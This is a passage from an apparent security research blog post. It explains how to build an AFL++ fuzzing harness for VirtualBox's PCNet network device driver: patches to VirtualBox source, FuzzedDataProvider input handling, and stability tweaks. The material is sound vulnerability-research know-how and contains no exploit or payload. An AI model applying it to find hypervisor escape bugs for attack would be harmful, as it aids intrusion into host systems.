class=ns/spanspan class=p./spanspan class=npNextR3/spanspan class=p)/span span class=p{/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npDevIns/spanspan class=o-gt;/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spcnet/spanspan class=p))/span span class=p{/span span class=ktunsigned/span span class=ktchar/span span class=o*/spanspan class=nbuf/span span class=o=/span span class=n__AFL_FUZZ_TESTCASE_BUF/spanspan class=p;/span span class=kwhile/span span class=p(/spanspan class=n__AFL_LOOP/spanspan class=p(/spanspan class=mi10000/spanspan class=p))/span span class=p{/span span class=ktint/span span class=nlen/span span class=o=/span span class=n__AFL_FUZZ_TESTCASE_LEN/spanspan class=p;/span span class=npDevIns/spanspan class=o-gt;/spanspan class=npReg/spanspan class=o-gt;/spanspan class=npfnAFL/spanspan class=p(/spanspan class=npDevIns/spanspan class=p,/span span class=nbuf/spanspan class=p,/span span class=nlen/spanspan class=p);/span span class=p}/span span class=p}/span span class=p}/span span class=p}/span span class=nexit/spanspan class=p(/spanspan class=mi0/spanspan class=p);/span span class=cm/* --------------- END --------------- *//span span class=cm/* * Pump vbox events forever *//span span class=nLogRel/spanspan class=p((/spanspan class=sVBoxHeadless: starting event loop/spanspan class=se\n/spanspan class=s/spanspan class=p));/span span class=kfor/span span class=p(;;)/span /code/pre/div/div pIn the same file after the code class=language-plaintext highlighter-rouge#include PasswordInput.h/code directive, add:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=cp#include harness.h /span/code/pre/div/div pFinally, append code class=language-plaintext highlighter-rouge__AFL_FUZZ_INIT();/code before defining the code class=language-plaintext highlighter-rougeTrustedMain/code function:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=n__AFL_FUZZ_INIT/spanspan class=p();/span span class=cm/** * Entry point. *//span span class=kextern/span span class=sC/span span class=nDECLEXPORT/spanspan class=p(/spanspan class=ktint/spanspan class=p)/span span class=nTrustedMain/spanspan class=p(/spanspan class=ktint/span span class=nargc/spanspan class=p,/span span class=ktchar/span span class=o**/spanspan class=nargv/spanspan class=p,/span span class=ktchar/span span class=o**/spanspan class=nenvp/spanspan class=p)/span /code/pre/div/div p4) Edit code class=language-plaintext highlighter-rougesrc/VBox/Frontends/VBoxHeadless/Makefile.kmk/code and change the code class=language-plaintext highlighter-rougeVBoxHeadless_DEFS/code and code class=language-plaintext highlighter-rougeVBoxHeadless_INCS/code from/p div class=language-make highlighter-rougediv class=highlightpre class=highlightcodespan class=nvVBoxHeadless_TEMPLATE/span span class=o:=/span span class=nf$(/spanspan class=nbif/span span class=nv$(VBOX_WITH_HARDENING)/span,VBOXMAINCLIENTDLL,VBOXMAINCLIENTEXEspan class=nf)/span span class=nvVBoxHeadless_DEFS/span span class=o+=/span span class=nf$(/spanspan class=nbif/span span class=nv$(VBOX_WITH_RECORDING)/span,VBOX_WITH_RECORDING,span class=nf)/span span class=nvVBoxHeadless_INCS/span span class=o=/span span class=se\/span span class=nv$(VBOX_GRAPHICS_INCS)/span span class=se\/span ../Common /code/pre/div/div pto/p div class=language-make highlighter-rougediv class=highlightpre class=highlightcodespan class=nvVBoxHeadless_TEMPLATE/span span class=o:=/span span class=nf$(/spanspan class=nbif/span span class=nv$(VBOX_WITH_HARDENING)/span,VBOXMAINCLIENTDLL,VBOXMAINCLIENTEXEspan class=nf)/span span class=nvVBoxHeadless_DEFS/span span class=o+=/span span class=nf$(/spanspan class=nbif/span span class=nv$(VBOX_WITH_RECORDING)/span,VBOX_WITH_RECORDING,span class=nf)/span span class=nv$(VMM_COMMON_DEFS)/span span class=nvVBoxHeadless_INCS/span span class=o=/span span class=se\/span span class=nv$(VBOX_GRAPHICS_INCS)/span span class=se\/span ../Common span class=se\/span ../../VMM/include /code/pre/div/div h3 id=fuzzing-with-multiple-inputsFuzzing With Multiple Inputs/h3 pFor the network drivers, there are various ways of supplying the user-controlled data by using access I/O port instructions or reading the data from the emulated device via MMIO (code class=language-plaintext highlighter-rougePDMDevHlpPhysRead/code). If this part is unclear, please refer back to [1] in references, which is probably the best available resource for explaining the attack surface. Moreover, many ports or values are restricted to a specific set, and to save some time, we want to use only these values. Therefore, after some consideration for the implementing of our fuzzing framework, we discovered a href=https://github.com/google/fuzzing/blob/master/docs/split-inputs.md#fuzzed-data-providerFuzzed Data Provider/a (later FDP)./p pFDP is part of the LLVM and, after we pass it a buffer generated by AFL, it can leverage it to generate a restricted set of numbers, bytes, or enums. We can store the pointer to FDP inside the device driver instance and retrieve it any time we want to feed some buffer./p pRecall that we can use the code class=language-plaintext highlighter-rougepfnReserved/code fields to implement our fuzzing helper functions. For this, it’s enough to edit code class=language-plaintext highlighter-rougeinclude/VBox/vmm/pdmdev.h/code and change the code class=language-plaintext highlighter-rougePDMDEVREGR3/code structure to conform to our prototype:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=nDECLR3CALLBACKMEMBER/spanspan class=p(/spanspan class=ktint/spanspan class=p,/span span class=npfnAFL/spanspan class=p,/span span class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/spanspan class=p,/span span class=ktunsigned/span span class=ktchar/span span class=o*/spanspan class=nbuf/spanspan class=p,/span span class=ktint/span span class=nlen/spanspan class=p));/span span class=nDECLR3CALLBACKMEMBER/spanspan class=p(/spanspan class=ktvoid/span span class=o*/spanspan class=p,/span span class=npfnGetFDP/spanspan class=p,/span span class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/spanspan class=p));/span span class=nDECLR3CALLBACKMEMBER/spanspan class=p(/spanspan class=ktint/spanspan class=p,/span span class=npfnReserved2/spanspan class=p,/span span class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/spanspan class=p));/span /code/pre/div/div pAll device drivers have a state, which we can access using convenient macro code class=language-plaintext highlighter-rougePDMDEVINS_2_DATA/code. Likewise, we can extend the state structure (in our case code class=language-plaintext highlighter-rougePCNETSTATE/code) to include the FDP header file via a pointer to FDP:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=c1// src/VBox/Devices/Network/DevPCNet.cpp/span span class=cp#ifdef IN_RING3 # include lt;iprt/mem.hgt; # include lt;iprt/semaphore.hgt; # include lt;iprt/uuid.hgt; # include lt;fuzzer/FuzzedDataProvider.hgt; /spanspan class=cm/* Add this *//spanspan class=cp #endif /span span class=c1// [ SNIP ]/span span class=ktypedef/span span class=kstruct/span span class=nPCNETSTATE/span span class=p{/span span class=c1// [ SNIP ]/span span class=cp#endif /spanspan class=cm/* VBOX_WITH_STATISTICS *//spanspan class=cp /span span class=ktvoid/span span class=o*/span span class=nfdp/spanspan class=p;/span span class=cm/* Add this *//span span class=p}/span span class=nPCNETSTATE/spanspan class=p;/span span class=cm/** Pointer to a shared PCnet state structure. *//span span class=ktypedef/span span class=nPCNETSTATE/span span class=o*/spanspan class=nPPCNETSTATE/spanspan class=p;/span /code/pre/div/div pTo reflect these changes, the code class=language-plaintext highlighter-rougeg_DevicePCNet/code structure has to be updated too :/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=cm/** * The device registration structure. *//span span class=kconst/span span class=nPDMDEVREG/span span class=ng_DevicePCNet/span span class=o=/span span class=p{/span span class=c1// [[ SNIP ]]/span span class=cm/* .pfnConstruct = *//span span class=npcnetR3Construct/spanspan class=p,/span span class=c1// [[ SNIP ]]/span span class=cm/* .pfnReserved0 = *//span span class=npcnetR3_AFL/spanspan class=p,/span span class=cm/* .pfnReserved1 = *//span span class=npcnetR3_GetFDP/spanspan class=p,/span /code/pre/div/div pWhen adding new functions, we must be careful and include them inside R3 only parts. The easiest way is to find the R3 constructor and add new code just after that, as it already has defined the code class=language-plaintext highlighter-rougeIN_RING3/code macro for the conditional compilation./p pAn example of the PCNet harness:/p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=kstatic/span span class=nfDECLCALLBACK/spanspan class=p(/spanspan class=ktvoid/span span class=o*/spanspan class=p)/span span class=npcnetR3_GetFDP/spanspan class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/spanspan class=p)/span span class=p{/span span class=nPPCNETSTATE/span span class=npThis/span span class=o=/span span class=nPDMDEVINS_2_DATA/spanspan class=p(/spanspan class=npDevIns/spanspan class=p,/span span class=nPPCNETSTATE/spanspan class=p);/span span class=kreturn/span span class=npThis/spanspan class=o-gt;/spanspan class=nfdp/spanspan class=p;/span span class=p}/span span class=n__AFL_COVERAGE/spanspan class=p();/span span class=kstatic/span span class=nfDECLCALLBACK/spanspan class=p(/spanspan class=ktint/spanspan class=p)/span span class=npcnetR3_AFL/spanspan class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/spanspan class=p,/span span class=ktunsigned/span span class=ktchar/span span class=o*/spanspan class=nbuf/spanspan class=p,/span span class=ktint/span span class=nlen/spanspan class=p)/span span class=p{/span span class=kif/span span class=p(/spanspan class=nlen/span span class=ogt;/span span class=mh0x2000/spanspan class=p)/span span class=p{/span span class=n__AFL_COVERAGE_SKIP/spanspan class=p();/span span class=kreturn/span span class=nVINF_SUCCESS/spanspan class=p;/span span class=p}/span span class=kstatic/span span class=ktunsigned/span span class=ktchar/span span class=nbuf2/spanspan class=p[/spanspan class=mh0x2000/spanspan class=p];/span span class=nmemcpy/spanspan class=p(/spanspan class=nbuf2/spanspan class=p,/span span class=nbuf/spanspan class=p,/span span class=nlen/spanspan class=p);/span span class=nFuzzedDataProvider/span span class=nprovider/spanspan class=p(/spanspan class=nbuf2/spanspan class=p,/span span class=nlen/spanspan class=p);/span span class=nPPCNETSTATE/span span class=npThis/span span class=o=/span span class=nPDMDEVINS_2_DATA/spanspan class=p(/spanspan class=npDevIns/spanspan class=p,/span span class=nPPCNETSTATE/spanspan class=p);/span span class=npThis/spanspan class=o-gt;/spanspan class=nfdp/span span class=o=/span span class=oamp;/spanspan class=nprovider/spanspan class=p;/span span class=c1// Make it accessible for the other modules/span span class=nFuzzedDataProvider/span span class=o*/spanspan class=npfdp/span span class=o=/span span class=p(/spanspan class=nFuzzedDataProvider/span span class=o*/spanspan class=p)/span span class=npDevIns/spanspan class=o-gt;/spanspan class=npReg/spanspan class=o-gt;/spanspan class=npfnGetFDP/spanspan class=p(/spanspan class=npDevIns/spanspan class=p);/span span class=ktvoid/span span class=o*/spanspan class=npvUser/span span class=o=/span span class=nbNULL/spanspan class=p;/span span class=ktuint32_t/span span class=nu32/spanspan class=p;/span span class=kconst/span span class=nstd/spanspan class=o::/spanspan class=narray/spanspan class=olt;/spanspan class=ktint/spanspan class=p,/span span class=mi3/spanspan class=ogt;/span span class=nArray/span span class=o=/span span class=p{/spanspan class=mi1/spanspan class=p,/span span class=mi2/spanspan class=p,/span span class=mi4/spanspan class=p};/span span class=ktuint16_t/span span class=noffPort/spanspan class=p;/span span class=ktuint16_t/span span class=ncb/spanspan class=p;/span span class=npcnetR3Reset/spanspan class=p(/spanspan class=npDevIns/spanspan class=p);/span span class=n__AFL_COVERAGE_DISCARD/spanspan class=p();/span span class=n__AFL_COVERAGE_ON/spanspan class=p();/span span class=kwhile/span span class=p(/spanspan class=npfdp/spanspan class=o-gt;/spanspan class=nremaining_bytes/spanspan class=p()/span span class=ogt;/span span class=mi0/spanspan class=p)/span span class=p{/span span class=kauto/span span class=nchoice/span span class=o=/span span class=npfdp/spanspan class=o-gt;/spanspan class=nConsumeIntegralInRange/spanspan class=p(/spanspan class=mi0/spanspan class=p,/span span class=mi3/spanspan class=p);/span span class=noffPort/span span class=o=/span span class=npfdp/spanspan class=o-gt;/spanspan class=nConsumeIntegral/spanspan class=olt;/spanspan class=ktuint16_t/spanspan class=ogt;/spanspan class=p();/span span class=nu32/span span class=o=/span span class=npfdp/spanspan class=o-gt;/spanspan class=nConsumeIntegral/spanspan class=olt;/spanspan class=ktuint32_t/spanspan class=ogt;/spanspan class=p();/span span class=ncb/span span class=o=/span span class=npfdp/spanspan class=o-gt;/spanspan class=nPickValueInArray/spanspan class=p(/spanspan class=nArray/spanspan class=p);/span span class=kswitch/span span class=p(/spanspan class=nchoice/spanspan class=p)/span span class=p{/span span class=kcase/span span class=mi0/spanspan class=p:/span span class=c1// pcnetIoPortWrite(PPDMDEVINS pDevIns, void *pvUser, /span span class=c1// RTIOPORT offPort, uint32_t u32, unsigned cb)/span span class=npcnetIoPortWrite/spanspan class=p(/spanspan class=npDevIns/spanspan class=p,/span span class=npvUser/spanspan class=p,/span span class=noffPort/spanspan class=p,/span span class=nu32/spanspan class=p,/span span class=ncb/spanspan class=p);/span span class=kbreak/spanspan class=p;/span span class=kcase/span span class=mi1/spanspan class=p:/span span class=c1// pcnetIoPortAPromWrite(PPDMDEVINS pDevIns, void *pvUser, /span span class=c1// RTIOPORT offPort, uint32_t u32, unsigned cb)/span span class=npcnetIoPortAPromWrite/spanspan class=p(/spanspan class=npDevIns/spanspan class=p,/span span class=npvUser/spanspan class=p,/span span class=noffPort/spanspan class=p,/span span class=nu32/spanspan class=p,/span span class=ncb/spanspan class=p);/span span class=kbreak/spanspan class=p;/span span class=kcase/span span class=mi2/spanspan class=p:/span span class=c1// pcnetR3MmioWrite(PPDMDEVINS pDevIns, void *pvUser,/span span class=c1// RTGCPHYS off, void const *pv, unsigned cb)/span span class=npcnetR3MmioWrite/spanspan class=p(/spanspan class=npDevIns/spanspan class=p,/span span class=npvUser/spanspan class=p,/span span class=noffPort/spanspan class=p,/span span class=oamp;/spanspan class=nu32/spanspan class=p,/span span class=ncb/spanspan class=p);/span span class=kbreak/spanspan class=p;/span span class=nldefault:/span span class=kbreak/spanspan class=p;/span span class=p}/span span class=p}/span span class=n__AFL_COVERAGE_OFF/spanspan class=p();/span span class=npThis/spanspan class=o-gt;/spanspan class=nfdp/span span class=o=/span span class=nbNULL/spanspan class=p;/span span class=kreturn/span span class=nVINF_SUCCESS/spanspan class=p;/span span class=p}/span /code/pre/div/div h3 id=fuzzing-pdmdevhlpphysreadFuzzing PDMDevHlpPhysRead/h3 pAs the device driver calls this function multiple times, we decided to patch the wrapper instead of modifying every instance. We can do so by editing code class=language-plaintext highlighter-rougesrc/VBox/VMM/VMMR3/PDMDevHlp.cpp/code, adding the relevant FDP header, and changing the code class=language-plaintext highlighter-rougepdmR3DevHlp_PhysRead/code method to fuzz only the specific driver./p div class=language-c highlighter-rougediv class=highlightpre class=highlightcodespan class=cp#include dtrace/VBoxVMM.h #include PDMInline.h /span span class=cp#include lt;fuzzer/FuzzedDataProvider.hgt; /spanspan class=cm/* Add this *//spanspan class=cp /span span class=c1// [ SNIP ]/span span class=cm/** @interface_method_impl{PDMDEVHLPR3,pfnPhysRead} *//span span class=kstatic/span span class=nfDECLCALLBACK/spanspan class=p(/spanspan class=ktint/spanspan class=p)/span span class=npdmR3DevHlp_PhysRead/spanspan class=p(/spanspan class=nPPDMDEVINS/span span class=npDevIns/spanspan class=p,/span span class=nRTGCPHYS/span span class=nGCPhys/spanspan class=p,/span span class=ktvoid/span span class=o*/spanspan class=npvBuf/spanspan class=p,/span span class=ktsize_t/span span class=ncbRead/spanspan class=p)/span span class=p{/span span class=nPDMDEV_ASSERT_DEVINS/spanspan class=p(/spanspan class=npDevIns/spanspan class=p);/span span class=nPVM/span span class=npVM/span span class=o=/span span class=npDevIns/spanspan class=o-gt;/spanspan class=nInternal/spanspan class=p./spanspan class=ns/spanspan class=p./spanspan class=npVMR3/spanspan class=p;/span span class=nLogFlow/spanspan class=p((/spanspan class=spdmR3DevHlp_PhysRead: caller='%s'/%d: GCPhys=%RGp pvBuf=%p cbRead=%#x/spanspan class=se\n/spanspan class=s/spanspan class=p,/span span class=npDevIns/spanspan class=o-gt;/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=npDevIns/spanspan class=o-gt;/spanspan class=niInstance/spanspan class=p,/span span class=nGCPhys/spanspan class=p,/span span class=npvBuf/spanspan class=p,/span span class=ncbRead/spanspan class=p));/span span class=cm/* Change this for the fuzzed driver *//span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npDevIns/spanspan class=o-gt;/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spcnet/spanspan class=p))/span span class=p{/span span class=nFuzzedDataProvider/span span class=o*/spanspan class=npfdp/span span class=o=/span span class=p(/spanspan class=nFuzzedDataProvider/span span class=o*/spanspan class=p)/span span class=npDevIns/spanspan class=o-gt;/spanspan class=npReg/spanspan class=o-gt;/spanspan class=npfnGetFDP/spanspan class=p(/spanspan class=npDevIns/spanspan class=p);/span span class=kif/span span class=p(/spanspan class=npfdp/span span class=oamp;amp;/span span class=npfdp/spanspan class=o-gt;/spanspan class=nremaining_bytes/spanspan class=p()/span span class=ogt;=/span span class=ncbRead/spanspan class=p)/span span class=p{/span span class=npfdp/spanspan class=o-gt;/spanspan class=nConsumeData/spanspan class=p(/spanspan class=npvBuf/spanspan class=p,/span span class=ncbRead/spanspan class=p);/span span class=kreturn/span span class=nVINF_SUCCESS/spanspan class=p;/span span class=p}/span span class=p}/span /code/pre/div/div pUsing code class=language-plaintext highlighter-rougeout/linux.amd64/release/bin/VBoxNetAdpCtl/code, we can add our network adapter and start fuzzing in a href=https://github.com/AFLplusplus/AFLplusplus/blob/stable/instrumentation/README.persistent_mode.mdpersistent mode/a. However, even when we can reach more than 10k executions per second, we still have some work to do about the stability./p h2 id=improving-stabilityImproving Stability/h2 pUnfortunately, none of these methods described a href=https://github.com/AFLplusplus/AFLplusplus/blob/stable/docs/best_practices.md#improving-stabilityhere/a worked, as we were not able to use LTO instrumentation. We guess that’s because the device drivers module was dynamically loaded, therefore partially disabling instrumentation was not possible nor was possible to identify unstable edges. The instability is caused by not properly resetting the driver’s state, and because we are running the whole VM, there are many things under the hood which are not easy to influence, such as internal locks or VMM./p pOne of the improvements is already contained in the harness, as we can discard the coverage before we start fuzzing and enable it only for a short fuzzing block./p pAdditionally, we can disable the instantiation of all devices which we are not currently fuzzing. The relevant code is inside code class=language-plaintext highlighter-rougesrc/VBox/VMM/VMMR3/PDMDevice.cpp/code, implementing the init completion routine through code class=language-plaintext highlighter-rougepdmR3DevInit/code. For the PCNet driver, at least the code class=language-plaintext highlighter-rougepci/code, code class=language-plaintext highlighter-rougeVMMDev/code, and code class=language-plaintext highlighter-rougepcnet/code modules must be enabled. Therefore, we can skip the initialization for the rest./p div class=language-c highlighter-rougediv class=highlightpre class=highlightcode span class=cm/* * * Instantiate the devices. * *//span span class=kfor/span span class=p(/spanspan class=ni/span span class=o=/span span class=mi0/spanspan class=p;/span span class=ni/span span class=olt;/span span class=ncDevs/spanspan class=p;/span span class=ni/spanspan class=o++/spanspan class=p)/span span class=p{/span span class=nPDMDEVREGR3/span span class=kconst/span span class=o*/span span class=kconst/span span class=npReg/span span class=o=/span span class=npaDevs/spanspan class=p[/spanspan class=ni/spanspan class=p]./spanspan class=npDev/spanspan class=o-gt;/spanspan class=npReg/spanspan class=p;/span span class=c1// if (!strcmp(pReg-gt;szName, pci)) {continue;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sich9pci/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spcarch/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spcbios/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sioapic/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spckbd/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spiix3ide/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=si8254/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=si8259/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=shpet/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=ssmc/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sflash/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sefi/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=smc146818/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=svga/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=c1// if (!strcmp(pReg-gt;szName, VMMDev)) {continue;}/span span class=c1// if (!strcmp(pReg-gt;szName, pcnet)) {continue;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=se1000/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=svirtio-net/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=c1// if (!strcmp(pReg-gt;szName, IntNetIP)) {continue;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sichac97/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=ssb16/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=shda/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=susb-ohci/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sacpi/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=s8237A/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=si82078/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sserial/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=soxpcie958uart/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sparallel/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sahci/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sbuslogic/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=spcibridge/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sich9pcibridge/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=slsilogicscsi/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=slsilogicsas/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=svirtio-scsi/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=sGIMDev/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=kif/span span class=p(/spanspan class=o!/spanspan class=nstrcmp/spanspan class=p(/spanspan class=npReg/spanspan class=o-gt;/spanspan class=nszName/spanspan class=p,/span span class=slpc/spanspan class=p))/span span class=p{/spanspan class=kcontinue/spanspan class=p;}/span span class=cm/* * Gather a bit of config. *//span span class=cm/* trusted *//span /code/pre/div/div pThe most significant issue is that minimizing our test cases is not an option when the stability is low (the percentage depends on the drivers we fuzz). If we cannot reproduce the crash, we can at least intercept it and analyze it afterward in code class=language-plaintext highlighter-rougegdb/code./p pWe ran AFL in debug mode as a workaround, which yields a code class=language-plaintext highlighter-rougecore/code file after every crash. Before running the fuzzer, this behavior can be enabled by:/p div class=language-plaintext highlighter-rougediv class=highlightpre class=highlightcode$ export AFL_DEBUG=1 $ ulimit -c unlimited /code/pre/div/div h2 id=conclusionConclusion/h2 pWe presented one of the possible approaches to fuzzing VirtualBox device drivers. We hope it contributes to a better understanding of VirtualBox internals. For inspiration, I’ll leave you with the quote from code class=language-plaintext highlighter-rougedoc/VBox-CodingGuidelines.cpp/code:/p precode class=language-none * (2) A really advanced hacker comes to understand the true inner workings of * the machine - he sees through the language he's working in and glimpses * the secret functioning of the binary code - becomes a Ba'al Shem of * sorts. (Neal Stephenson Snow Crash) /code/pre h2 id=referencesReferences/h2 ul li[1] a href=https://starlabs.sg/blog/2020/04/adventures-in-hypervisor-oracle-virtualbox-research/Pham 